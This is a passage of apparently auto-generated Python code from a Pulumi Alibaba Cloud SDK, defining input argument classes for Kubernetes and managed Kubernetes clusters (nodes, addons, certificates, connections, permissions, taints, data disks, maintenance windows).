__init__(__self__, *, id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, private_ip: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] id: ID of the node. :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. :param pulumi.Input[str] private_ip: The private IP address of node. """ if id is not None: pulumi.set(__self__, "id", id) if name is not None: pulumi.set(__self__, "name", name) if private_ip is not None: pulumi.set(__self__, "private_ip", private_ip) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: """ ID of the node. """ return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="privateIp") def private_ip(self) -> Optional[pulumi.Input[str]]: """ The private IP address of node. """ return pulumi.get(self, "private_ip") @private_ip.setter def private_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_ip", value) @pulumi.input_type class KubernetesAddonArgs: def __init__(__self__, *, config: Optional[pulumi.Input[str]] = None, disabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. """ if config is not None: pulumi.set(__self__, "config", config) if disabled is not None: pulumi.set(__self__, "disabled", disabled) if name is not None: pulumi.set(__self__, "name", name) @property @pulumi.getter def config(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "config") @config.setter def config(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "config", value) @property @pulumi.getter def disabled(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "disabled") @disabled.setter def disabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "disabled", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @pulumi.input_type class KubernetesAutoscalerNodepoolArgs: def __init__(__self__, *, id: Optional[pulumi.Input[str]] = None, labels: Optional[pulumi.Input[str]] = None, taints: Optional[pulumi.Input[str]] = None): if id is not None: pulumi.set(__self__, "id", id) if labels is not None: pulumi.set(__self__, "labels", labels) if taints is not None: pulumi.set(__self__, "taints", taints) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def labels(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "labels") @labels.setter def labels(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "labels", value) @property @pulumi.getter def taints(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "taints") @taints.setter def taints(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "taints", value) @pulumi.input_type class KubernetesCertificateAuthorityArgs: def __init__(__self__, *, client_cert: Optional[pulumi.Input[str]] = None, client_key: Optional[pulumi.Input[str]] = None, cluster_cert: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] client_cert: The path of client certificate, like `~/.kube/client-cert.pem`. :param pulumi.Input[str] client_key: The path of client key, like `~/.kube/client-key.pem`. :param pulumi.Input[str] cluster_cert: The base64 encoded cluster certificate data required to communicate with your cluster. Add this to the certificate-authority-data section of the kubeconfig file for your cluster. """ if client_cert is not None: pulumi.set(__self__, "client_cert", client_cert) if client_key is not None: pulumi.set(__self__, "client_key", client_key) if cluster_cert is not None: pulumi.set(__self__, "cluster_cert", cluster_cert) @property @pulumi.getter(name="clientCert") def client_cert(self) -> Optional[pulumi.Input[str]]: """ The path of client certificate, like `~/.kube/client-cert.pem`. """ return pulumi.get(self, "client_cert") @client_cert.setter def client_cert(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_cert", value) @property @pulumi.getter(name="clientKey") def client_key(self) -> Optional[pulumi.Input[str]]: """ The path of client key, like `~/.kube/client-key.pem`. """ return pulumi.get(self, "client_key") @client_key.setter def client_key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_key", value) @property @pulumi.getter(name="clusterCert") def cluster_cert(self) -> Optional[pulumi.Input[str]]: """ The base64 encoded cluster certificate data required to communicate with your cluster. Add this to the certificate-authority-data section of the kubeconfig file for your cluster. """ return pulumi.get(self, "cluster_cert") @cluster_cert.setter def cluster_cert(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cluster_cert", value) @pulumi.input_type class KubernetesConnectionsArgs: def __init__(__self__, *, api_server_internet: Optional[pulumi.Input[str]] = None, api_server_intranet: Optional[pulumi.Input[str]] = None, master_public_ip: Optional[pulumi.Input[str]] = None, service_domain: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] api_server_internet: API Server Internet endpoint. :param pulumi.Input[str] api_server_intranet: API Server Intranet endpoint. :param pulumi.Input[str] master_public_ip: Master node SSH IP address. :param pulumi.Input[str] service_domain: Service Access Domain. """ if api_server_internet is not None: pulumi.set(__self__, "api_server_internet", api_server_internet) if api_server_intranet is not None: pulumi.set(__self__, "api_server_intranet", api_server_intranet) if master_public_ip is not None: pulumi.set(__self__, "master_public_ip", master_public_ip) if service_domain is not None: pulumi.set(__self__, "service_domain", service_domain) @property @pulumi.getter(name="apiServerInternet") def api_server_internet(self) -> Optional[pulumi.Input[str]]: """ API Server Internet endpoint. """ return pulumi.get(self, "api_server_internet") @api_server_internet.setter def api_server_internet(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "api_server_internet", value) @property @pulumi.getter(name="apiServerIntranet") def api_server_intranet(self) -> Optional[pulumi.Input[str]]: """ API Server Intranet endpoint. """ return pulumi.get(self, "api_server_intranet") @api_server_intranet.setter def api_server_intranet(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "api_server_intranet", value) @property @pulumi.getter(name="masterPublicIp") def master_public_ip(self) -> Optional[pulumi.Input[str]]: """ Master node SSH IP address. """ return pulumi.get(self, "master_public_ip") @master_public_ip.setter def master_public_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "master_public_ip", value) @property @pulumi.getter(name="serviceDomain") def service_domain(self) -> Optional[pulumi.Input[str]]: """ Service Access Domain. """ return pulumi.get(self, "service_domain") @service_domain.setter def service_domain(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "service_domain", value) @pulumi.input_type class KubernetesMasterNodeArgs: def __init__(__self__, *, id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, private_ip: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] id: ID of the node. :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. :param pulumi.Input[str] private_ip: The private IP address of node. """ if id is not None: pulumi.set(__self__, "id", id) if name is not None: pulumi.set(__self__, "name", name) if private_ip is not None: pulumi.set(__self__, "private_ip", private_ip) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: """ ID of the node. """ return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="privateIp") def private_ip(self) -> Optional[pulumi.Input[str]]: """ The private IP address of node. """ return pulumi.get(self, "private_ip") @private_ip.setter def private_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_ip", value) @pulumi.input_type class KubernetesPermissionPermissionArgs: def __init__(__self__, *, cluster: pulumi.Input[str], role_name: pulumi.Input[str], role_type: pulumi.Input[str], is_custom: Optional[pulumi.Input[bool]] = None, is_ram_role: Optional[pulumi.Input[bool]] = None, namespace: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] cluster: The ID of the cluster that you want to manage. :param pulumi.Input[str] role_name: Specifies the predefined role that you want to assign. Valid values `admin`, `ops`, `dev`, `restricted` and the custom cluster roles. :param pulumi.Input[str] role_type: The authorization type. Valid values `cluster`, `namespace`. :param pulumi.Input[bool] is_custom: Specifies whether to perform a custom authorization. To perform a custom authorization, set `role_name` to a custom cluster role. :param pulumi.Input[bool] is_ram_role: Specifies whether the permissions are granted to a RAM role. When `uid` is ram role id, the value of `is_ram_role` must be `true`. :param pulumi.Input[str] namespace: The namespace to which the permissions are scoped. This parameter is required only if you set role_type to namespace. """ pulumi.set(__self__, "cluster", cluster) pulumi.set(__self__, "role_name", role_name) pulumi.set(__self__, "role_type", role_type) if is_custom is not None: pulumi.set(__self__, "is_custom", is_custom) if is_ram_role is not None: pulumi.set(__self__, "is_ram_role", is_ram_role) if namespace is not None: pulumi.set(__self__, "namespace", namespace) @property @pulumi.getter def cluster(self) -> pulumi.Input[str]: """ The ID of the cluster that you want to manage. """ return pulumi.get(self, "cluster") @cluster.setter def cluster(self, value: pulumi.Input[str]): pulumi.set(self, "cluster", value) @property @pulumi.getter(name="roleName") def role_name(self) -> pulumi.Input[str]: """ Specifies the predefined role that you want to assign. Valid values `admin`, `ops`, `dev`, `restricted` and the custom cluster roles. """ return pulumi.get(self, "role_name") @role_name.setter def role_name(self, value: pulumi.Input[str]): pulumi.set(self, "role_name", value) @property @pulumi.getter(name="roleType") def role_type(self) -> pulumi.Input[str]: """ The authorization type. Valid values `cluster`, `namespace`. """ return pulumi.get(self, "role_type") @role_type.setter def role_type(self, value: pulumi.Input[str]): pulumi.set(self, "role_type", value) @property @pulumi.getter(name="isCustom") def is_custom(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether to perform a custom authorization. To perform a custom authorization, set `role_name` to a custom cluster role. """ return pulumi.get(self, "is_custom") @is_custom.setter def is_custom(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_custom", value) @property @pulumi.getter(name="isRamRole") def is_ram_role(self) -> Optional[pulumi.Input[bool]]: """ Specifies whether the permissions are granted to a RAM role. When `uid` is ram role id, the value of `is_ram_role` must be `true`. """ return pulumi.get(self, "is_ram_role") @is_ram_role.setter def is_ram_role(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_ram_role", value) @property @pulumi.getter def namespace(self) -> Optional[pulumi.Input[str]]: """ The namespace to which the permissions are scoped. This parameter is required only if you set role_type to namespace. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "namespace", value) @pulumi.input_type class KubernetesRuntimeArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, version: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. :param pulumi.Input[str] version: Desired Kubernetes version. If you do not specify a value, the latest available version at resource creation is used and no upgrades will occur except you set a higher version number. The value must be configured and increased to upgrade the version when desired. Downgrades are not supported by ACK. """ if name is not None: pulumi.set(__self__, "name", name) if version is not None: pulumi.set(__self__, "version", version) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def version(self) -> Optional[pulumi.Input[str]]: """ Desired Kubernetes version. If you do not specify a value, the latest available version at resource creation is used and no upgrades will occur except you set a higher version number. The value must be configured and increased to upgrade the version when desired. Downgrades are not supported by ACK. """ return pulumi.get(self, "version") @version.setter def version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "version", value) @pulumi.input_type class KubernetesTaintArgs: def __init__(__self__, *, effect: Optional[pulumi.Input[str]] = None, key: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): if effect is not None: pulumi.set(__self__, "effect", effect) if key is not None: pulumi.set(__self__, "key", key) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def effect(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "effect") @effect.setter def effect(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "effect", value) @property @pulumi.getter def key(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "key") @key.setter def key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class KubernetesWorkerDataDiskArgs: def __init__(__self__, *, auto_snapshot_policy_id: Optional[pulumi.Input[str]] = None, category: Optional[pulumi.Input[str]] = None, device: Optional[pulumi.Input[str]] = None, encrypted: Optional[pulumi.Input[str]] = None, kms_key_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, performance_level: Optional[pulumi.Input[str]] = None, size: Optional[pulumi.Input[str]] = None, snapshot_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] auto_snapshot_policy_id: Worker node data disk auto snapshot policy. :param pulumi.Input[str] category: The type of the data disks. Valid values: `cloud`, `cloud_efficiency`, `cloud_ssd` and `cloud_essd`. Default to `cloud_efficiency`. :param pulumi.Input[str] encrypted: Specifies whether to encrypt data disks. Valid values: true and false. :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. :param pulumi.Input[str] performance_level: Worker node data disk performance level, when `category` values `cloud_essd`, the optional values are `PL0`, `PL1`, `PL2` or `PL3`, but the specific performance level is related to the disk capacity. For more information, see [Enhanced SSDs](https://www.alibabacloud.com/help/doc-detail/122389.htm). Default is `PL1`. :param pulumi.Input[str] size: The size of a data disk, Its valid value range [40~32768] in GB. Unit: GiB. """ if auto_snapshot_policy_id is not None: pulumi.set(__self__, "auto_snapshot_policy_id", auto_snapshot_policy_id) if category is not None: pulumi.set(__self__, "category", category) if device is not None: pulumi.set(__self__, "device", device) if encrypted is not None: pulumi.set(__self__, "encrypted", encrypted) if kms_key_id is not None: pulumi.set(__self__, "kms_key_id", kms_key_id) if name is not None: pulumi.set(__self__, "name", name) if performance_level is not None: pulumi.set(__self__, "performance_level", performance_level) if size is not None: pulumi.set(__self__, "size", size) if snapshot_id is not None: pulumi.set(__self__, "snapshot_id", snapshot_id) @property @pulumi.getter(name="autoSnapshotPolicyId") def auto_snapshot_policy_id(self) -> Optional[pulumi.Input[str]]: """ Worker node data disk auto snapshot policy. """ return pulumi.get(self, "auto_snapshot_policy_id") @auto_snapshot_policy_id.setter def auto_snapshot_policy_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "auto_snapshot_policy_id", value) @property @pulumi.getter def category(self) -> Optional[pulumi.Input[str]]: """ The type of the data disks. Valid values: `cloud`, `cloud_efficiency`, `cloud_ssd` and `cloud_essd`. Default to `cloud_efficiency`. """ return pulumi.get(self, "category") @category.setter def category(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "category", value) @property @pulumi.getter def device(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "device") @device.setter def device(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "device", value) @property @pulumi.getter def encrypted(self) -> Optional[pulumi.Input[str]]: """ Specifies whether to encrypt data disks. Valid values: true and false. """ return pulumi.get(self, "encrypted") @encrypted.setter def encrypted(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "encrypted", value) @property @pulumi.getter(name="kmsKeyId") def kms_key_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "kms_key_id") @kms_key_id.setter def kms_key_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kms_key_id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="performanceLevel") def performance_level(self) -> Optional[pulumi.Input[str]]: """ Worker node data disk performance level, when `category` values `cloud_essd`, the optional values are `PL0`, `PL1`, `PL2` or `PL3`, but the specific performance level is related to the disk capacity. For more information, see [Enhanced SSDs](https://www.alibabacloud.com/help/doc-detail/122389.htm). Default is `PL1`. """ return pulumi.get(self, "performance_level") @performance_level.setter def performance_level(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "performance_level", value) @property @pulumi.getter def size(self) -> Optional[pulumi.Input[str]]: """ The size of a data disk, Its valid value range [40~32768] in GB. Unit: GiB. """ return pulumi.get(self, "size") @size.setter def size(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "size", value) @property @pulumi.getter(name="snapshotId") def snapshot_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "snapshot_id") @snapshot_id.setter def snapshot_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "snapshot_id", value) @pulumi.input_type class KubernetesWorkerNodeArgs: def __init__(__self__, *, id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, private_ip: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] id: ID of the node. :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. :param pulumi.Input[str] private_ip: The private IP address of node. """ if id is not None: pulumi.set(__self__, "id", id) if name is not None: pulumi.set(__self__, "name", name) if private_ip is not None: pulumi.set(__self__, "private_ip", private_ip) @property @pulumi.getter def id(self) -> Optional[pulumi.Input[str]]: """ ID of the node. """ return pulumi.get(self, "id") @id.setter def id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="privateIp") def private_ip(self) -> Optional[pulumi.Input[str]]: """ The private IP address of node. """ return pulumi.get(self, "private_ip") @private_ip.setter def private_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_ip", value) @pulumi.input_type class ManagedKubernetesAddonArgs: def __init__(__self__, *, config: Optional[pulumi.Input[str]] = None, disabled: Optional[pulumi.Input[bool]] = None, name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. """ if config is not None: pulumi.set(__self__, "config", config) if disabled is not None: pulumi.set(__self__, "disabled", disabled) if name is not None: pulumi.set(__self__, "name", name) @property @pulumi.getter def config(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "config") @config.setter def config(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "config", value) @property @pulumi.getter def disabled(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "disabled") @disabled.setter def disabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "disabled", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @pulumi.input_type class ManagedKubernetesCertificateAuthorityArgs: def __init__(__self__, *, client_cert: Optional[pulumi.Input[str]] = None, client_key: Optional[pulumi.Input[str]] = None, cluster_cert: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] client_cert: The path of client certificate, like `~/.kube/client-cert.pem`. :param pulumi.Input[str] client_key: The path of client key, like `~/.kube/client-key.pem`. :param pulumi.Input[str] cluster_cert: The base64 encoded cluster certificate data required to communicate with your cluster. Add this to the certificate-authority-data section of the kubeconfig file for your cluster. """ if client_cert is not None: pulumi.set(__self__, "client_cert", client_cert) if client_key is not None: pulumi.set(__self__, "client_key", client_key) if cluster_cert is not None: pulumi.set(__self__, "cluster_cert", cluster_cert) @property @pulumi.getter(name="clientCert") def client_cert(self) -> Optional[pulumi.Input[str]]: """ The path of client certificate, like `~/.kube/client-cert.pem`. """ return pulumi.get(self, "client_cert") @client_cert.setter def client_cert(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_cert", value) @property @pulumi.getter(name="clientKey") def client_key(self) -> Optional[pulumi.Input[str]]: """ The path of client key, like `~/.kube/client-key.pem`. """ return pulumi.get(self, "client_key") @client_key.setter def client_key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "client_key", value) @property @pulumi.getter(name="clusterCert") def cluster_cert(self) -> Optional[pulumi.Input[str]]: """ The base64 encoded cluster certificate data required to communicate with your cluster. Add this to the certificate-authority-data section of the kubeconfig file for your cluster. """ return pulumi.get(self, "cluster_cert") @cluster_cert.setter def cluster_cert(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cluster_cert", value) @pulumi.input_type class ManagedKubernetesConnectionsArgs: def __init__(__self__, *, api_server_internet: Optional[pulumi.Input[str]] = None, api_server_intranet: Optional[pulumi.Input[str]] = None, master_public_ip: Optional[pulumi.Input[str]] = None, service_domain: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] api_server_internet: API Server Internet endpoint. :param pulumi.Input[str] api_server_intranet: API Server Intranet endpoint. :param pulumi.Input[str] master_public_ip: Master node SSH IP address. :param pulumi.Input[str] service_domain: Service Access Domain. """ if api_server_internet is not None: pulumi.set(__self__, "api_server_internet", api_server_internet) if api_server_intranet is not None: pulumi.set(__self__, "api_server_intranet", api_server_intranet) if master_public_ip is not None: pulumi.set(__self__, "master_public_ip", master_public_ip) if service_domain is not None: pulumi.set(__self__, "service_domain", service_domain) @property @pulumi.getter(name="apiServerInternet") def api_server_internet(self) -> Optional[pulumi.Input[str]]: """ API Server Internet endpoint. """ return pulumi.get(self, "api_server_internet") @api_server_internet.setter def api_server_internet(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "api_server_internet", value) @property @pulumi.getter(name="apiServerIntranet") def api_server_intranet(self) -> Optional[pulumi.Input[str]]: """ API Server Intranet endpoint. """ return pulumi.get(self, "api_server_intranet") @api_server_intranet.setter def api_server_intranet(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "api_server_intranet", value) @property @pulumi.getter(name="masterPublicIp") def master_public_ip(self) -> Optional[pulumi.Input[str]]: """ Master node SSH IP address. """ return pulumi.get(self, "master_public_ip") @master_public_ip.setter def master_public_ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "master_public_ip", value) @property @pulumi.getter(name="serviceDomain") def service_domain(self) -> Optional[pulumi.Input[str]]: """ Service Access Domain. """ return pulumi.get(self, "service_domain") @service_domain.setter def service_domain(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "service_domain", value) @pulumi.input_type class ManagedKubernetesMaintenanceWindowArgs: def __init__(__self__, *, duration: pulumi.Input[str], enable: pulumi.Input[bool], maintenance_time: pulumi.Input[str], weekly_period: pulumi.Input[str]): """ :param pulumi.Input[str] duration: The maintenance time, values range from 1 to 24,unit is hour. For example: "3h". :param pulumi.Input[bool] enable: Whether to open the maintenance window. The following parameters take effect only `enable = true`. :param pulumi.Input[str] maintenance_time: Initial maintenance time, For example:"03:00:00Z". :param pulumi.Input[str] weekly_period: Maintenance cycle, you can set the values from Monday to Sunday, separated by commas when the values are multiple. The default is Thursday. """ pulumi.set(__self__, "duration", duration) pulumi.set(__self__, "enable", enable) pulumi.set(__self__, "maintenance_time", maintenance_time) pulumi.set(__self__, "weekly_period", weekly_period) @property @pulumi.getter def duration(self) -> pulumi.Input[str]: """ The maintenance time, values range from 1 to 24,unit is hour. For example: "3h". """ return pulumi.get(self, "duration") @duration.setter def duration(self, value: pulumi.Input[str]): pulumi.set(self, "duration", value) @property @pulumi.getter def enable(self) -> pulumi.Input[bool]: """ Whether to open the maintenance window. The following parameters take effect only `enable = true`. """ return pulumi.get(self, "enable") @enable.setter def enable(self, value: pulumi.Input[bool]): pulumi.set(self, "enable", value) @property @pulumi.getter(name="maintenanceTime") def maintenance_time(self) -> pulumi.Input[str]: """ Initial maintenance time, For example:"03:00:00Z". """ return pulumi.get(self, "maintenance_time") @maintenance_time.setter def maintenance_time(self, value: pulumi.Input[str]): pulumi.set(self, "maintenance_time", value) @property @pulumi.getter(name="weeklyPeriod") def weekly_period(self) -> pulumi.Input[str]: """ Maintenance cycle, you can set the values from Monday to Sunday, separated by commas when the values are multiple. The default is Thursday. """ return pulumi.get(self, "weekly_period") @weekly_period.setter def weekly_period(self, value: pulumi.Input[str]): pulumi.set(self, "weekly_period", value) @pulumi.input_type class ManagedKubernetesRuntimeArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, version: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. :param pulumi.Input[str] version: Desired Kubernetes version. If you do not specify a value, the latest available version at resource creation is used and no upgrades will occur except you set a higher version number. The value must be configured and increased to upgrade the version when desired. Downgrades are not supported by ACK. """ if name is not None: pulumi.set(__self__, "name", name) if version is not None: pulumi.set(__self__, "version", version) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one Alicloud account. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def version(self) -> Optional[pulumi.Input[str]]: """ Desired Kubernetes version. If you do not specify a value, the latest available version at resource creation is used and no upgrades will occur except you set a higher version number. The value must be configured and increased to upgrade the version when desired. Downgrades are not supported by ACK. """ return pulumi.get(self, "version") @version.setter def version(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "version", value) @pulumi.input_type class ManagedKubernetesTaintArgs: def __init__(__self__, *, effect: Optional[pulumi.Input[str]] = None, key: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): if effect is not None: pulumi.set(__self__, "effect", effect) if key is not None: pulumi.set(__self__, "key", key) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def effect(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "effect") @effect.setter def effect(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "effect", value) @property @pulumi.getter def key(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "key") @key.setter def key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ManagedKubernetesWorkerDataDiskArgs: def __init__(__self__, *, auto_snapshot_policy_id: Optional[pulumi.Input[str]] = None, category: Optional[pulumi.Input[str]] = None, device: Optional[pulumi.Input[str]] = None, encrypted: Optional[pulumi.Input[str]] = None, kms_key_id: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, performance_level: Optional[pulumi.Input[str]] = None, size: Optional[pulumi.Input[str]] = None, snapshot_id: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] auto_snapshot_policy_id: Worker node data disk auto snapshot policy. :param pulumi.Input[str] category: The type of the data disks. Valid values: `cloud`, `cloud_efficiency`, `cloud_ssd` and `cloud_essd`. Default to `cloud_efficiency`. :param pulumi.Input[str] encrypted: Specifies whether to encrypt data disks. Valid values: true and false. Default to `false`. :param pulumi.Input[str] name: The kubernetes cluster's name. It is unique in one Alicloud account. :param pulumi.Input[str] performance_level: Worker node data disk performance level, when `category` values `cloud_essd`, the optional values are `PL0`, `PL1`, `PL2` or `PL3`, but the specific performance level is related to the disk capacity. For more information, see [Enhanced SSDs](https://www.alibabacloud.com/help/doc-detail/122389.htm). Default is `PL1`. :param pulumi.Input[str] size: The size of a data disk, at least 40. Unit: GiB. """ if auto_snapshot_policy_id is not None: pulumi.set(__self__, "auto_snapshot_policy_id", auto_snapshot_policy_id) if category is not None: pulumi.set(__self__, "category", category) if device is not None: pulumi.set(__self__, "device", device) if encrypted is not None: pulumi.set(__self__, "encrypted", encrypted) if kms_key_id is not None: pulumi.set(__self__, "kms_key_id", kms_key_id) if name is not None: pulumi.set(__self__, "name", name) if performance_level is not None: pulumi.set(__self__, "performance_level", performance_level) if size is not None: pulumi.set(__self__, "size", size) if snapshot_id is not None: pulumi.set(__self__, "snapshot_id", snapshot_id) @property @pulumi.getter(name="autoSnapshotPolicyId") def auto_snapshot_policy_id(self) -> Optional[pulumi.Input[str]]: """ Worker node data disk auto snapshot policy. """ return pulumi.get(self, "auto_snapshot_policy_id") @auto_snapshot_policy_id.setter def auto_snapshot_policy_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "auto_snapshot_policy_id", value) @property @pulumi.getter def category(self) -> Optional[pulumi.Input[str]]: """ The type of the data disks. Valid values: `cloud`, `cloud_efficiency`, `cloud_ssd` and `cloud_essd`. Default to `cloud_efficiency`. """ return pulumi.get(self, "category") @category.setter def category(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "category", value) @property @pulumi.getter def device(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "device") @device.setter def device(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "device", value) @property @pulumi.getter def encrypted(self) -> Optional[pulumi.Input[str]]: """ Specifies whether to encrypt data disks. Valid values: true and false. Default to `false`. """ return pulumi.get(self, "encrypted") @encrypted.setter def encrypted(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "encrypted", value) @property @pulumi.getter(name="kmsKeyId") def kms_key_id(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "kms_key_id") @kms_key_id.setter def kms_key_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "kms_key_id", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The kubernetes cluster's name. It is unique in one 